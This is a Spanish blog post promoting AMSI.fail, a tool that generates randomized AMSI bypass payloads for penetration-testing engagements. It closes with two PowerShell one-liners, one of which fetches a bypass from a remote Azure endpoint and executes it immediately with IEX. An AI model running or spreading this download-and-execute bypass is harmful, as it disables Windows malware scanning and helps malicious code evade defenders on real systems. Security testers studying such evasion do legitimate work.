24 nov 2020

AMSI.Fail

 ¡Buenas a todos!

En el artículo de hoy quería enseñaros una herramienta o utilidad que llevo bastante tiempo utilizando en algunos engagements. Si bien la herramienta no hace uso de ninguna técnica nueva para hacer un bypass de AMSI, lo que si hace es generar un bypass totalmente aleatorio. De esta forma, ningún payload tendrá la misma firma que otro. Para realizar esto, el creador de la herramienta @Flangvik, ha hecho uso de una Azure Function que genera un bypass de AMSI distinto cada vez que se invoca al método a través de una petición GET al recurso.


Actualmente, AMSI.fail hace uso de cuatro tipos de bypass:

Para facilitar el uso de la herramienta, el creador ha puesto a disposición de la comunidad un dominio llamado amsi.fail que hace de interfaz web para la Azure Function en cuestión. Permitiendo así, que cualquier usuario pueda copiar el payload con mayor facilidad.


Hay que tener en cuenta, que este bypass de AMSI, se realiza sobre el proceso donde se ejecuta el payload en cuestión, y que siempre se realiza en el contexto del usuario que lo ejecuta. Por ello, y para mayor comodidad en los engagements, os dejo dos comandos de PowerShell que llaman directamente a los métodos publicados de la Azure Function y evitan tener que acceder continuamente desde el navegador a la interfaz web.

$(Invoke-WebRequest https://amsi-fail.azurewebsites.net/api/GenerateEnc).Content

IEX (New-Object Net.WebClient).DownloadString("https://amsi-fail.azurewebsites.net/api/Generate");


Si os ha gustado la herramienta no dudéis en echarle un vistazo y, añadirla a vuestro set de utilidades ;). De igual forma, os animo a que si queréis conocer en mayor detalle como funciona AMSI o la herramienta en cuestión, echéis un vistazo al repositorio donde encontraréis enlaces e información acerca de ello.

¡Saludos!

No hay comentarios:

Publicar un comentario